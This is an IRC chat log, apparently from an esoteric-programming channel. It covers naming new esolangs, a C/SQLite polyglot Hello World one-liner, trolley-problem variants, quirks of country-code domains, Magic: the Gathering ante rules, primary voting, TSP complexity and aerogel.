00:51:17 <oerjan> *MWAHAHAHA*
00:51:37 <oerjan> dammit, double hth again
00:52:15 <prooftechnique> moon_: Start by making them immutable, then tweak accordingly. :D
00:52:24 <moon_> in C
00:53:18 <\oren\> I've now booked my hotel. I'm staying in a capsule hotel
00:53:44 <\oren\> 180 CAD for 7 nights
00:53:53 <prooftechnique> moon_: Do as I said in C. Then `sed 's/const//g' yourfile.c`
00:53:59 <prooftechnique> Done
00:54:02 <prooftechnique> Programming is so easy~
00:54:15 <prooftechnique> \oren\: That's quite a good rate
00:54:40 <prooftechnique> I usually pay upwards of a thousand USD, and that's at a hotel that likes me o.o
00:55:08 <\oren\> Well, a capsule hotel is a hotel that is very... minimal
00:55:12 <moon_> ill just use a 2d array: vartable[26][26]
00:55:22 <prooftechnique> Yes, I believe I remember seeing pictures
00:55:35 <prooftechnique> I hope your neighbors aren't too amorous
00:55:53 <shachaf> oerjan: Why do you keep a de-hthing script if you just work around it all the time?
00:56:07 <\oren\> There are separate floors for men-only and women-only
00:56:33 <prooftechnique> \oren\: That only increases the allure
00:56:39 -!- MoALTz has joined.
00:56:47 <prooftechnique> Breaking rules is v sexy, as I understand it
00:57:20 <prooftechnique> Or not breaking rules, if that's the preference
00:57:28 <\oren\> anyway if they want to do that there atre love hotels that give you a nice soft bed
00:57:47 <prooftechnique> I imagine claustrophiles having a lovely time
00:58:06 <\oren\> aaagh
00:58:09 -!- Koen_ has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”).
00:58:30 <prooftechnique> In any case, what brings you to Tokyo?
00:58:36 <prooftechnique> Other than a plane, one imagines
00:58:55 <oerjan> shachaf: nostalgia
00:59:17 <shachaf> oerjan: I figured. :-(
01:01:31 <moon_> how do i convert a letter to its respective place in the alphabet?
01:02:30 <oerjan> moon_: l & 32
01:02:33 <oerjan> er
01:02:37 <moon_> nvm
01:02:39 <oerjan> * l & 31
01:03:47 <oerjan> in ascii, that is. if you're using ebcdic you're on your own.
01:04:42 <prooftechnique> Though you can say that in just about any situation
01:05:13 -!- Frooxius has quit (Quit: *bubbles away*).
01:05:24 * oerjan imagines prooftechnique's line being self-referential.
01:08:41 -!- Frooxius has joined.
01:10:47 -!- ais523 has joined.
01:13:28 <oerjan> <hppavilion[1]> (Wikipedia doesn't hate fun, right?) <-- you were being sarcastic, right?
01:14:00 <oerjan> it definitely hates fun in the main article namespace, and only somewhat tolerates it elsewhere.
01:14:59 <oerjan> although the "Did you know" section on the front page seems to have misleading descriptions on occasion, and not just on April 1.
01:15:51 <oerjan> wait are you 1 hour idle and still not pinged out
01:16:11 * oerjan needs to tweak his idle detection algorithm
01:17:21 <quintopia> helloerjan
01:17:37 <moon_> N-- will soon have a interpreter
01:17:40 <oerjan> quevenintopia
01:18:06 <quintopia> that porthello makes me nauseated for some reason
01:18:18 <quintopia> it sounds even grosser than "queef"
01:18:39 <oerjan> quite.
01:19:57 * oerjan now regrets looking that up
01:20:01 <quintopia> i can't come to work, boss. I'm quevening all over the bathroom floor!
01:24:40 <prooftechnique> Quevening sounds like a very reasonable excuse
01:29:25 -!- callforjudgement has joined.
01:29:31 -!- ais523 has quit (Disconnected by services).
01:29:33 -!- callforjudgement has changed nick to ais523.
01:48:16 <hppavilion[1]> oerjan: I'm here
01:48:50 <moon_> hia hppa
01:49:05 <hppavilion[1]> Oh, now I'm gone
01:49:06 <moon_> did you look at my new esolang? its not singlechar and has a syntax
01:49:12 <hppavilion[1]> moon_: Where?
01:49:23 <moon_> http://esolangs.org/wiki/Fumble
01:50:04 <hppavilion[1]> moon_: Wiki pages should not be in first-person
01:50:16 <hppavilion[1]> moon_: They should be third-person with a touch of second-person when necessary
01:50:42 <hppavilion[1]> Ponies are very turbing.
01:50:42 <prooftechnique> Occasional 4th person for the purpose of reducing ambiguity
01:50:52 <hppavilion[1]> prooftechnique: 4th?
01:50:55 <moon_> Sorry, Im not the best writer
01:51:03 <hppavilion[1]> moon_: Nobody is
01:51:16 <prooftechnique> hppavilion[1]: https://en.wikipedia.org/wiki/Grammatical_person#Additional_persons
01:51:29 <hppavilion[1]> moon_: The best writer is obviously Voltaire hth
01:51:45 <oerjan> checks out
01:52:28 <moon_> lol
01:52:35 <moon_> well what do you think of it, tho?
01:52:36 <hppavilion[1]> prooftechnique: Ah, yes, "one" works too, though I prefer to call that zeroth person
01:52:45 <hppavilion[1]> Because it doesn't really matter who "one" is
01:52:50 <hppavilion[1]> moon_: Not sure
01:52:57 <hppavilion[1]> moon_: I stopped when I saw an uncapitalized "i"
01:53:00 <prooftechnique> hppavilion[1]: Non-English languages have other persons beyond the indefinite one
01:53:04 <moon_> ...
01:53:08 <moon_> >_>
01:53:11 <moon_> just read it all
01:53:31 <prooftechnique> They have thing like "him" but also "him, but closer to me than that other one"
01:53:45 <hppavilion[1]> moon_: Also, there are code excerpts that aren't in monospace, and that drives me crazy
01:53:49 <prooftechnique> Where closer is either due to proximity or some intangible quality
01:53:56 <hppavilion[1]> moon_: I think that this is a first draft for the moment.
01:54:03 <moon_> >_>
01:54:18 <prooftechnique> I wonder how much of a language could be implemented in MS Word formatting codes
01:54:25 <prooftechnique> Monospace strictly forbidden
01:54:27 <hppavilion[1]> prooftechnique: Which kind of language?
01:54:46 <hppavilion[1]> moon_: No, really. It isn't properly formated, so it's very difficult to read
01:54:52 -!- sebbu has quit (Ping timeout: 272 seconds).
01:55:00 <hppavilion[1]> It's like trying to read a book in a mirror
01:57:22 <prooftechnique> moon_: I forgot what your language is called. Link?
01:57:36 <prooftechnique> Oh, found it
01:58:33 <prooftechnique> hppavilion[1]: Set your default font to monospace, hth
01:59:09 <hppavilion[1]> prooftechnique: Too much work
01:59:22 <prooftechnique> Literally one switch in your browser :P
01:59:41 <prooftechnique> Though all these unintended ligatures are a bit odd :D
02:00:25 <moon_> http://esolangs.org/wiki/Fumble
02:02:56 <hppavilion[1]> Monty Hall Trolley Problem.
02:02:58 <hppavilion[1]> Huh.
02:04:23 <ais523> hppavilion[1]: I assume that there's an out-of-control trolleycar which you can direct onto one of three tracks by changing points
02:04:38 <ais523> and you know that two of the tracks are blocked by people
02:04:39 <hppavilion[1]> ais523: Yes
02:04:47 <hppavilion[1]> ais523: Correct
02:04:55 <ais523> after you move the points, someone who can see the tracks tells you that one of the tracks you didn't pick has a person on it
02:05:03 <hppavilion[1]> ais523: Or, more accurately, there are more people on one track than on the other two
02:05:03 <ais523> do you change the points to the other unknown track?
02:05:13 <hppavilion[1]> ais523: Pretty much exactly
02:05:16 <ais523> no, has to be more on two than the other one
02:05:33 <hppavilion[1]> ais523: Ah, that works too
02:05:35 <ais523> monty hall problem requires one desirable outcome and two undesirable outcomes to work
02:05:42 <ais523> if you have two desirable and one undesirable
02:06:00 <ais523> then either the host tells you about the undesirable outcome and it doesn't matter whether you switch, it's desirable either way
02:06:00 <hppavilion[1]> ais523: Wait, hm...
02:06:03 <zzo38> Do any of the tracks have something that can stop the train?
02:06:06 <ais523> or the host tells you about a desirable outcome, in which case you just take it
02:06:19 <ais523> zzo38: in this problem, people normally assume no
02:06:24 <ais523> although that's unrealistic
02:06:37 <hppavilion[1]> "OK, you chose door C. Now we're going to open door A, which has a goat. Would you like to switch doors?"
02:06:41 <hppavilion[1]> "Yes, I'll take door A"
02:06:44 <ais523> as the problem involves a set of points, and you have a decent chance of being able to stop a train by changing the points setting while the train is over the points
02:07:30 <ais523> I guess the points could have a safety feature that prevents them being changed when a train is nearby
02:07:44 -!- Phantom_Hoover has quit (Quit: Leaving).
02:08:04 <moon_> that problem gae me anothe esolang idea, one powered by trains and points
02:08:12 <ais523> this actually happened in the london underground runaway that's possibly the closest real life has come to the trolley problem (as a bonus, nobody was hurt, although nobody had enough information to know that that would be the outcome)
02:08:22 <hppavilion[1]> moon_: Actually, I have the patent rights to that esolang idea.
02:08:30 <prooftechnique> You're all ignoring the obvious. Take a plane instead and you won't have to deal with this conundrum
02:08:34 <moon_> oh
02:08:37 <moon_> ):
02:09:12 <hppavilion[1]> prooftechnique: But how do we kill people and make it look like an accident or the-best-of-a-bad-situation when it's a plane?
02:09:23 <prooftechnique> "Water landing"
02:09:52 <hppavilion[1]> Hm... The trolley problem becomes a lot more complicated when you know the person you can switch to AND you have reason to hate them- say, your spouse had an affair with them
02:10:06 <hppavilion[1]> Because then it seems like you could conceivably charge it as murder
02:10:23 <prooftechnique> Even more complicated if you care more about their happiness than about their fidelity
02:12:03 <hppavilion[1]> Hm...
02:12:07 <hppavilion[1]> You know what'd be great?
02:12:19 <hppavilion[1]> An IRC client that makes you trade nicks with other people using that client at random
02:12:24 <hppavilion[1]> And doesn't tell you
02:12:28 <ais523> here: https://assets.digital.cabinet-office.gov.uk/media/547c8feae5274a428d00015b/R092011_110615_Highgate.pdf
02:12:30 <hppavilion[1]> And masks everything so you can't tell
02:12:42 <hppavilion[1]> (even messages mentioning that person get substituted for your nick)
02:12:50 <ais523> the basic summary is that a an engineering train ran away on the london underground
02:13:06 <ais523> and the signallers went to a lot of effort to move all the other trains out of its path
02:13:11 <hppavilion[1]> <x>.mil.va
02:13:12 <moon_> Hmm, neuron based esolang...
02:13:22 <prooftechnique> prooftechnique: That sounds like a very annoying IRC client
02:13:30 <zzo38> If your name is a common word, then it is something else.
02:13:57 <hppavilion[1]> zzo38: We hate those people though
02:14:53 <hppavilion[1]> #tromp2016+4i
02:15:32 <hppavilion[1]> Hm... who regulates people using the .va domain?
02:15:40 <hppavilion[1]> ccTLD
02:15:46 -!- heroux has quit (Ping timeout: 244 seconds).
02:15:50 <zzo38> Vatican, maybe?
02:16:01 <hppavilion[1]> Oh, "it is administered by the Internet Office of the Holy See."
02:16:33 -!- heroux has joined.
02:16:45 -!- ais523 has quit (Remote host closed the connection).
02:17:10 <hppavilion[1]> Damn, I was hoping to get my hands on porn.va and use it to offend every catholic everywhere
02:17:29 <prooftechnique> I think it would be nice to get no.va
02:17:54 -!- ais523 has joined.
02:17:54 <prooftechnique> I would host a language to serve as a direct counterpoint to Go
02:18:16 <prooftechnique> Though it would also be great for hosting pirated PBS specials
02:18:33 <hppavilion[1]> prooftechnique: Is it even possible to pirate a PBS special?
02:19:16 <prooftechnique> Is it possible to steal from a non-profit?
02:19:39 <hppavilion[1]> Wait, why is Morocco "MA"?
02:19:52 <hppavilion[1]> prooftechnique: No?
02:20:12 <zzo38> Of course it is possible to steal from a non-profit. But I don't expect pirating PBS specials for them to lose anything.
02:20:22 <hppavilion[1]> zzo38: Well yeah, that's what I meant?
02:20:24 <prooftechnique> hppavilion[1]: The answer is yes
02:20:29 <hppavilion[1]> It's too bad Benin's ccTLD is regulated
02:20:37 <prooftechnique> hppavilion[1]: Also, maybe it's short for Maghreb?
02:21:34 <prooftechnique> Or perhaps Marakesh
02:21:53 <oerjan> morocco is marokko in norwegian, anyway.
02:22:05 <prooftechnique> Ah, nevermind, I found it
02:22:10 <prooftechnique> https://en.wikipedia.org/wiki/ISO_3166-1_alpha-2#MA
02:22:16 <prooftechnique> It's from the French, Maroc
02:22:30 <hppavilion[1]> Bottom-level domain?
02:27:39 <hppavilion[1]> republicans.bs isn't registered :D
02:28:32 <prooftechnique> I'm extremely disappointed that abcdefghijklmnopqrstuvw.xyz is taken
02:28:55 <ais523> is it taken by Alphabet, by any chance?
02:29:30 <prooftechnique> It is not. It is actually taken by xyz.com, a registrar for .xyz domains
02:29:33 <moon_> No, taken by xyz :P
02:30:12 <moon_> if only i had a personal website named moon.esoteric lol
02:31:08 <moon_> I'd be honoring the esoteric channel by that lol
02:31:12 <moon_> if it as possible
02:32:01 <prooftechnique> I'm stunned that a .club domain is only 88 cents
02:33:04 <zzo38> select(typeof('\'')x){}/*'))where 0;/*/main(){puts("Hello, World!");}//*/select'Hello, World!';
02:34:53 <moon_> try doing that in N--
02:34:54 <moon_> lol
02:35:17 <prooftechnique> zzo38: What language is that?
02:35:24 <shachaf> But abc.xyz is taken by Alphabet.
02:35:27 <zzo38> prooftechnique: What does it look to you?
02:35:47 <prooftechnique> Perl
02:36:34 <zzo38> No it isn't. (I tried, and it doesn't work.)
02:37:03 <prooftechnique> Something C flavored, but with a weird SQL aspect
02:37:12 <moon_> looks esoteric
02:37:31 <moon_> try searching that in the esolang iki
02:37:50 <moon_> Nothing
02:37:56 <prooftechnique> Nothing on Google, either
02:38:11 <moon_> ^
02:38:13 <prooftechnique> zzo38: Where did you find it?
02:38:16 <moon_> its a mystery
02:38:19 <prooftechnique> Or did you write it?
02:38:23 <zzo38> I doubt you could search for such a mess on Google effectively anyways.
02:38:28 <zzo38> prooftechnique: I wrote it.
02:38:30 <prooftechnique> Definitely not
02:38:39 <moon_> new esolang?!
02:38:41 <prooftechnique> zzo38: A polyglot, maybe?
02:39:50 <zzo38> prooftechnique: What do you think it is? Maybe you can try to understand by yourself too?
02:42:11 <moon_> I certainly dont
02:42:31 <zzo38> Do you know any C programming?
02:42:49 <prooftechnique> I know a reasonable amount, I suppose
02:43:28 <prooftechnique> Well, look at that
02:43:44 <prooftechnique> It just prints "Hello, World!". That was what I expected from the Cish bits
02:44:23 <prooftechnique> Oh, syntax highlighting makes it obvious
02:44:32 <zzo38> It also defines (and then doesn't use) a function called "select"
02:44:59 -!- callforjudgement has joined.
02:45:08 -!- ais523 has quit (Disconnected by services).
02:45:11 -!- callforjudgement has changed nick to ais523.
02:47:01 <prooftechnique> C one-liners are
02:47:04 <prooftechnique> ┬─┐┬─┐┐ ┬o┬ o┐─┐┬
02:47:04 <prooftechnique> │├─ │┌┘││ │└─┐│─┤
02:47:04 <prooftechnique> ┆─┘┴─┘└┘ ┆┆─┘┆──┘┆
02:48:52 <oerjan> i think the other language is SQL
02:49:19 -!- ais523 has quit (Read error: Connection reset by peer).
02:49:55 <oerjan> and it works because they treat '\'' differently, so C thinks that's one char but SQL continues with a string to the next '
02:51:12 <hppavilion[1]> Hm... A programming language where the code is the color and the markup is the text?
02:51:21 <hppavilion[1]> (reverse syntax highlighting)
02:51:34 <prooftechnique> hppavilion[1]: They have that, it's called ColorForth
02:51:51 <prooftechnique> oerjan: I think most SQL dialects will choke on typeof
02:52:28 <oerjan> prooftechnique: oh hm...
02:52:46 <oerjan> maybe it doesn't care what's inside because of the "where 0"?
02:53:18 <zzo38> There is a "typeof" function in SQLite at least.
02:53:44 <oerjan> ok
02:54:13 <prooftechnique> Oh, it does work in SQLite!
02:54:15 <prooftechnique> Very cool
02:55:19 <zzo38> It can be shortened by moving the zero
02:55:33 <zzo38> (by just one byte)
02:56:24 <zzo38> Here is the shortened version: select(typeof('\'')x){}/*'))where/*/main(){puts("Hello, World!");}//*/0;select'Hello, World!';
02:59:12 -!- bender has joined.
03:19:56 -!- moon_ has quit (Ping timeout: 250 seconds).
03:23:26 -!- J_Arcane_ has joined.
03:25:00 -!- J_Arcane has quit (Ping timeout: 244 seconds).
03:25:06 -!- J_Arcane_ has changed nick to J_Arcane.
03:40:36 -!- TellsTogo has quit (Quit: Page closed).
03:42:36 <FreeFull> prooftechnique: Added restriction, no spaces in the one-liner
03:43:42 <FreeFull> I mean, that would make it even more fun
03:43:58 <FreeFull> That particular one-liner already is almost spaceless, there are only spaces in the strings
03:44:16 <FreeFull> So if you're fine with Hello,World! it'd be good
03:50:23 -!- sebbu has joined.
03:53:16 -!- hppavilion[1] has quit (Ping timeout: 252 seconds).
04:07:53 <oerjan> `quote 1279
04:08:14 <HackEgo> 1279) <prooftechnique> I mean, that's just the bare function. You throw some concurrency primitives in there and you're off to the races
04:08:34 <oerjan> `sled quotes//1279s/ / /
04:08:42 <HackEgo> quotes//<Slereah> EgoBot just opened a chat session with me to say "bork bork bork" \ <Quas_NaArt> Hmmm... My fingers and tongue seem to be as quick as ever, but my lips have definitely weakened... <Quas_NaArt> More practice is in order. \ <AnMaster> that's where I got it <AnMaster> rocket launch facility gift shop \ <Warrigal> GKennethR: he shou
04:08:51 <oerjan> um
04:08:57 <oerjan> `quote 1279
04:08:59 <HackEgo> 1279) <prooftechnique> I mean, that's just the bare function. You throw some concurrency primitives in there and you're off to the races
04:27:48 -!- Moon_ has joined.
04:27:52 <Moon_> Hi
04:34:28 -!- Moon_ has quit (Ping timeout: 250 seconds).
04:49:08 <\oren\> `quote
04:49:14 <HackEgo> 582) <monqy> where is this going. why is this going.
04:49:26 <\oren\> That Moon_ has a short orbit
05:10:07 <Sgeo_> Hmm. Apparently I voted differently from at least one member of #esoteric
05:11:30 <zzo38> Voted differently on what?
05:11:47 <Sgeo_> Who to vote for in the US primaries
05:13:55 <zzo38> OK
05:14:54 <pikhq> How do you know that?
05:15:12 <Sgeo_> pikhq, because I saw your status + comments on that status
05:15:17 <pikhq> Oh, right. That. :P
05:15:56 * pikhq definitely voted for Sanders, though honestly at this point it's more about messaging-in-polls than anything else.
05:16:12 <pikhq> Odds of Clinton being nominated are like 99.9% or something.
05:16:27 * Sgeo_ voted for Clinton, largely concerned about competence and electability.
05:16:44 <Sgeo_> I think I've pushed myself in too much of an anti-Bernie bubble
05:17:39 <pikhq> I'm also voting pretty much right at the end of the primary season which means that I know, and vote based on that.
05:18:38 <pikhq> And, honestly, as far as I can tell Bernie is fairly competent and would do reasonably as President.
05:18:46 <pikhq> Now, *electable*, that's a different question entirely.
05:19:13 <pikhq> But not one I need to think about when my vote is effectively just saying "I support more liberal policies from Democratic party".
05:21:53 <Sgeo_> I will say that I think everyone in both campaigns is disappointed at the thought of lowered turnout
05:24:55 <pikhq> Yeah... I do not like the idea of Trump winning because of lower turnout from Dems.
05:25:09 <pikhq> Especially with potentially 3 different SCOTUS justices up for nomination.
05:26:00 * Sgeo_ meant more acutely lower primary turnout tomorrow because of the nomination being called for Clinton
05:26:08 <pikhq> Ah. Right.
05:35:24 <pikhq> In CA it's kinda important even ignoring the President though; a Senate office is up for election, and the incumbent isn't running.
05:40:04 <oerjan> oerjan> although the "Did you know" section on the front page seems to have misleading descriptions on occasion, and not just on April 1. <-- also puns. like, the last one right now...
05:50:46 -!- Elronnd has changed nick to Elronnd\std.
05:54:10 -!- Elronnd\std has changed nick to Elronnd\StD.
06:02:41 -!- Elronnd\StD has changed nick to Elronnd.
06:12:07 -!- lambda-11235 has quit (Quit: Bye).
06:18:49 -!- TellsTogo has joined.
06:20:28 <zzo38> I have made up the classifications of possible external ante rules for Magic: the Gathering, which are: scoreless-per-duel, scored-per-duel, scoreless-per-match, scored-per-match, scoreless-per-tournament, scored-per-tournament, prize-altering, permanent. (These are just broad classifications, and many formats are possible in each one.)
06:21:14 <zzo38> Do you like this?
06:23:47 <shachaf> Do you score less per duel than ever before?
06:24:56 <zzo38> No.
06:25:56 <zzo38> "Scoreless-per-duel ante" means that all ownership changes end at the end of a duel, and do not further affect the tournament in any way (the only thing that affects it is who won that duel).
06:27:01 <shachaf> Oh, ante rules.
06:27:06 <shachaf> I didn't see that word.
06:27:12 <shachaf> Isn't ante banned?
06:27:41 <zzo38> shachaf: Yes, in all official tournaments, it is not played for ante, and all ante cards are banned.
06:27:58 <shachaf> You're suggesting an illegal tournament?
06:28:00 <zzo38> Permanent ante is not suitable if using borrowed cards or custom cards; the others are suitable even in these cases though.
06:28:24 <zzo38> shachaf: Actually, it does not even necessarily have to be a tournament.
06:28:24 <shachaf> It should be called "permanante".
06:28:33 <myname> lol
06:28:35 <zzo38> O, that is what it is called. OK
06:51:25 <izabera> what's your take on these java api?
06:51:53 <izabera> ignoring the fact that a good half of the users here are google employees
06:55:19 -!- Kaynato has quit (Ping timeout: 252 seconds).
07:03:30 -!- jaboja has joined.
07:10:33 -!- Destructible has joined.
07:10:41 <Destructible> o hi
07:10:49 <Destructible> is anybody there
07:10:55 <Destructible> if so
07:10:57 <Destructible> brb
07:12:12 <izabera> hi
07:13:04 <oerjan> izabera: i think that's _possibly_ an exaggeration hth
07:13:18 <oerjan> (i only know two for sure.)
07:13:37 -!- Destructible_ has joined.
07:13:42 <Destructible_> anyone?
07:13:44 <izabera> i can invite a few more to compensate
07:13:54 <Destructible_> o hi
07:13:56 <izabera> hi
07:14:04 <oerjan> izabera: ok, but then they have to know haskell. mustn't upset the balance.
07:14:11 <izabera> they do
07:14:16 <izabera> at least one does
07:14:16 <oerjan> good, good
07:14:24 <Destructible_> I came up with an resoling, but now I do not know what to call it
07:14:28 <Destructible_> esolang*
07:14:38 <izabera> call it myesolang
07:14:41 -!- hppavilion[1] has joined.
07:14:44 <Destructible_> no
07:14:48 <hppavilion[1]> Wait, is the TSP NP?
07:14:50 <izabera> why not
07:15:09 <izabera> i bet there's no language called myesolang on the wiki
07:15:14 -!- Destructible has quit (Ping timeout: 250 seconds).
07:15:16 <Destructible_> exactly
07:15:24 <Destructible_> and there isn't going to be
07:15:25 <hppavilion[1]> izabera: Because, IIRC, TSP requires you to be able to quickly verify a correct solution
07:15:29 <izabera> https://esolangs.org/w/index.php?search=myesolang&title=Special:Search&fulltext=Search see?
07:15:34 <hppavilion[1]> Oh, you were talking to Destructible_?
07:15:38 <izabera> yes sorry
07:15:46 <hppavilion[1]> No no, I see how it is
07:16:00 <izabera> you're offended?
07:16:04 <Cale> What about Visual MyEsoLang++
07:16:08 <Cale> ?
07:16:17 <hppavilion[1]> izabera: No
07:16:22 <Destructible_> .
07:16:34 <hppavilion[1]> Cale: Visual MyEsoLang++#?
07:17:13 <Cale> #Visual #MyEsoLang
07:17:24 * Destructible_ is silently seething
07:17:37 <izabera> that's either twittertalk or irc but it's not good for a language's name
07:18:45 <hppavilion[1]> An esolang based on #hashtags would be vaguely interesting
07:18:54 <HackEgo> [wiki] [[Special:Log/newusers]] create * Izabera * New user account
07:19:19 <Destructible_> I'd be making that after I actually finished this esolang I already made
07:19:23 <Destructible_> esolang
07:19:30 <Destructible_> esolang
07:19:51 <Destructible_> resoling is what mac thinks resoling should be
07:19:56 <Cale> The execution of the program depends inextricably on what's trending
07:19:56 <hppavilion[1]> izabera: did you... not have a wiki account?
07:19:58 <Destructible_> esolang*
07:20:00 <izabera> i do now
07:20:34 <izabera> wtf my name has a lowercase i
07:20:39 <izabera> who's Izabera
07:20:55 <hppavilion[1]> izabera: fale?
07:21:00 <izabera> fale?
07:21:12 -!- jaboja has quit (Ping timeout: 258 seconds).
07:22:21 <Destructible_> so, anyway, I still have no idea what to call my esolang
07:22:57 <hppavilion[1]> OH MY GOD http://i.imgur.com/R9JoJ9t.gifv IS AMAZING
07:23:12 <Destructible_> maybe Vecaret, or 0aret vec0
07:23:30 <prooftechnique> hppavilion[1]: Are CPP macros Turing complete? Tht could be your hashtag language
07:23:51 <prooftechnique> *That
07:24:07 <izabera> hppavilion[1]: what did i just witness?
07:24:32 <hppavilion[1]> izabera: Blowing up a dam
07:24:34 <pikhq> prooftechnique: Long story short, "no".
07:24:45 <Destructible_> I still need a name for my language though
07:25:16 <pikhq> Though they're close enough that the difference is probably pointless; you can easily get computations that run 'til the heat death, but are technically finite, with CPP macros.
07:25:31 <izabera> Destructible_: a rose by any other name...
07:25:38 <Destructible_> yes
07:25:50 <Destructible_> but this is a wiki
07:25:59 <Destructible_> and the name is what they see
07:26:11 <Destructible_> and it needs to be appropriate
07:26:14 <Destructible_> and either way
07:26:23 <izabera> why does it need to be appropriate?
07:26:29 <Destructible_> because
07:26:40 -!- Destructible_ has quit (Quit: Page closed).
07:27:12 -!- augur has joined.
07:27:51 -!- Destructible_wat has joined.
07:28:12 <Destructible_wat> so now you can understand why it needs to be appropriate
07:28:19 <hppavilion[1]> Destructible_: Call it ylfkfpqsqmlkhy
07:28:27 <Destructible_wat> ???
07:28:35 <hppavilion[1]> Destructible_wat: Just randomly generate a string and call it that
07:28:38 <Destructible_wat> either way, I have idea
07:29:34 <hppavilion[1]> Destructible_wat: ''.join([string.ascii_lowercase[random.randrange(0, len(string.ascii_lowercase))] for _ in (random.randrange(3, 15))]) (python, string and random must be imported)
07:30:21 -!- hppavilion[1] has quit (Quit: Leaving).
07:30:49 -!- hppavilion[1] has joined.
07:33:19 <izabera> i suggest a new language called heck, which is like hack but closer to its php roots
07:33:33 <izabera> in fact, every php interpreter is also able to interpret heck
07:33:44 <Destructible_wat> I had idea
07:34:04 <Destructible_wat> Galcveccoq
07:34:17 <Elronnd> hppavilion[1]: noice
07:34:20 <Destructible_wat> which is the first letter of each command symbol together
07:34:31 <Elronnd> hppavilion[1]: but you could probably use chr()
07:34:41 <Destructible_wat> ?
07:35:37 <oerjan> <izabera> wtf my name has a lowercase i <-- sorry, capitalization is automatic. there are some workarounds for page titles and signatures.
07:35:49 <Elronnd> ''.join([chr(random.randrange(30,500) for _ in random.randrange(3,15)])
07:35:58 <izabera> i'm deeply offended
07:36:34 <oerjan> <hppavilion[1]> Wait, is the TSP NP? <-- nope, it's not a decision problem.
07:37:07 <myname> well, it is NP hard
07:38:04 <b_jonas> wait wait
07:38:25 <b_jonas> http://magiccards.info/m10/de/202.html http://magiccards.info/10e/de/290.html http://magiccards.info/10e/en/290.html
07:38:35 <Destructible_wat> I think I'll call my language Otal
07:38:48 <Destructible_wat> or 0tal
07:39:01 <Destructible_wat> ()tal
07:39:01 <b_jonas> there are German printings of two M:tG cards whose German names are identical, despite that their English names differ, and also this German name is identical to the English name of one of those cards?
07:39:05 <b_jonas> is this normal?
07:39:11 <b_jonas> I thought this wasn't supposed to happen
07:39:21 <b_jonas> zzo38: did you know that?
07:39:58 -!- Destructible_wat has quit (Quit: Page closed).
07:44:27 <oerjan> b_jonas: things that aren't supposed to happen sometimes do hth
07:45:00 <oerjan> hppavilion[1]: one class TSP is in is FP^NP, i.e. polynomial functions with an NP oracle.
07:45:23 <oerjan> although there's probably a slightly weaker one
07:45:39 <oerjan> um
07:45:56 <oerjan> "polynomial function" being a function computable in polynomial time.
07:46:42 <hppavilion[1]> MacBook Hydrogen ®
07:46:52 <hppavilion[1]> Oh, it corrected from (R). Cool.
07:46:59 <oerjan> the true NP version of TSP is "is there a path shorter than k"
07:47:09 <shachaf> oerjan: are you sure it's not a function with many names hth
07:47:13 <hppavilion[1]> Is there any substance less dense than pure Hydrogen 1?
07:47:17 <oerjan> and also NP-complete.
07:48:14 <hppavilion[1]> shachaf: I thought that was a polynymic function
07:48:16 <oerjan> hppavilion[1]: hm i recall there was some foam lighter than air. not sure about hydrogen.
07:48:42 <hppavilion[1]> oerjan: I know there's aerofoam (or something), but I don't think it's lighter than air; it's just really really light
07:48:45 <oerjan> i think that should be polyonymic. but i'm not sure, it looks ugly.
07:48:51 <shachaf> An anonomyial function is like a polynomial function, but you don't know its degree.
07:49:04 <hppavilion[1]> It can't really be lighter than air because it's 99.97% air
07:49:06 <hppavilion[1]> Or something like that
07:49:31 <oerjan> hppavilion[1]: i thought they vacuumed it or something?
07:49:42 <hppavilion[1]> oerjan: I don't think so?
07:49:50 <hppavilion[1]> We're probably just talking about different foams
07:49:58 <shachaf> Aerogel?
07:50:02 * hppavilion[1] . o O ( What an incredibly boring conversation )
07:50:04 <hppavilion[1]> shachaf: Yes, that
07:50:12 <shachaf> I was pretty excited about aerogel a little over a decade ago.
07:50:24 <shachaf> And then I was surprised to find out that a company in the small (~10,000 people) town I lived in made it.
07:50:39 <shachaf> I called them and asked if I could get a sample but they said no.
07:50:54 <pikhq> Awww.
07:51:24 <pikhq> If aerogel were lighter than air it'd *float*.
07:51:38 <shachaf> Maybe if I'd told them I was [redacted] years old they would've taken pity on me.
07:51:39 <b_jonas> I seem to remember they actually made versions lighter than air
07:51:43 <hppavilion[1]> shachaf: Why'd they say no?
07:51:55 <shachaf> Now I can't say the number because it would reveal my age.
07:52:03 <hppavilion[1]> Yes, yes
07:52:06 <shachaf> Presumably because I wasn't offering any money.
07:52:09 <pikhq> b_jonas: Not impossible, but that'd imply they did something like manufacture it in a helium atmosphere.
07:52:17 <pikhq> And it'd float.
07:52:34 <hppavilion[1]> shachaf: Ah, that'd be a problem
07:52:48 <shachaf> I think the smallest sample you could buy was $100 or something.
07:53:00 <myname> i like the PAD-SAT problem
07:53:10 <b_jonas> pikhq: why would they have to manufacture it in a helium atmosphere? that'd be expensive. they'd just manufacture it in rarified air (near vacuum, it doesn't have to be really rare) or rarified nitrogen
07:53:37 <pikhq> I said "something like".
07:53:40 <pikhq> Those would work too.
07:54:11 <hppavilion[1]> Today's xkcd title text is amazing
07:54:44 <pikhq> "List of lists of sexually active popes" anyone?
07:55:02 <b_jonas> hmm, apparently they do manufacture it in a helium atmosphere, so it gets filled with helium for pressure
07:55:16 <b_jonas> that would get expensive
07:55:29 <shachaf> pikhq: Are you still pooching it up?
07:55:52 <pikhq> More or less, yup.
07:56:37 <hppavilion[1]> "People handling aerogel for extended periods should wear gloves to prevent the appearance of dry brittle spots on their skin."
07:56:45 <shachaf> Pooching away again in margaritaville.
07:57:05 <hppavilion[1]> shachaf: What time is it in Margaritaville ATM?
07:57:37 <shachaf> I think it's in Texas.
07:57:40 <shachaf> Or maybe Nevada.
07:58:04 <hppavilion[1]> Oh my god, there's something lighter than aerogel
07:58:10 <hppavilion[1]> https://en.wikipedia.org/wiki/Aerographene
07:58:39 <hppavilion[1]> Awww, it needs carbon nanotubes
07:58:49 <hppavilion[1]> So I probably can't buy some in my conceivable lifetime
08:00:48 <shachaf> I didn't realize that one of aerogel's applications involved menstruation.
08:01:06 <hppavilion[1]> shachaf: Why would you want that? Seems like a pretty bad application
08:01:21 <hppavilion[1]> Oh, wait, for dealing with it?
08:01:24 <hppavilion[1]> That makes more sense
08:01:30 <shachaf> Also how long is an extended period?
08:02:14 <hppavilion[1]> shachaf: Isn't that called an "ellipsis"?
08:03:14 <shachaf> In Xanth, an ellipsis is used to summon the stork.
08:03:18 <shachaf> So maybe that's related.
08:08:26 -!- augur has quit (Remote host closed the connection).
